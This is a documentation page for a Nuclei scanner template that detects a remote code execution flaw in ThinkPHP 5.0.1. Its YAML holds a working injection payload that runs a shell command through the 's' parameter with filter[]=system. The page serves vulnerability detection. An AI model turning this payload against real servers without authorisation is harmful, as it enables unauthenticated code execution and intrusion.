ThinkPHP 5.0.1 - Remote Code Execution
ID: thinkphp-501-rce
Severity: critical
Author: lark-lab
Tags: edb,thinkphp,rce
Description
Section titled “Description”ThinkPHP 5.0.1 allows remote unauthenticated attackers to execute arbitrary code via the ‘s’ parameter.
YAML Source
Section titled “YAML Source”id: thinkphp-501-rce
info: name: ThinkPHP 5.0.1 - Remote Code Execution author: lark-lab severity: critical description: ThinkPHP 5.0.1 allows remote unauthenticated attackers to execute arbitrary code via the 's' parameter. reference: - https://www.exploit-db.com/exploits/46150 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 1 tags: edb,thinkphp,rce
http: - method: POST path: - "{{BaseURL}}/?s=index/index/index"
body: "s=echo%20thinkphp%20%7C%20rev&_method=__construct&method&filter[]=system"
headers: Content-Type: application/x-www-form-urlencoded
matchers-condition: and matchers: - type: word part: body words: - "phpkniht"
- type: status status: - 200# digest: 490a0046304402207bfa6affd5fc6434247521fcc9accab569a42b96c8862c7beee09d22259753a102204fc5446eec211b218440c5aec4880e7a59d416cc8b0d1d576c85ad03bee516ab:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/thinkphp/thinkphp-501-rce.yaml"